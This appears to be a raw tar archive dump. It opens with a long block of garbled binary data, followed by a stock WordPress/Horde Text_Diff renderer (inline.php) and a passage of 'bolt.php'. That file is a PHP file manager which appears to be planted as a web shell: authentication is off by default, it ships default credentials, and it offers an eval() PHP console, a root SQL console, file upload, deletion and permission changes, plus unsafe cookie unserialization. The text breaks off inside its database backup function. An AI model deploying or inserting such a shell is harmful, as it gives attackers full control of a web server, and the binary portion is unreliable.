|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
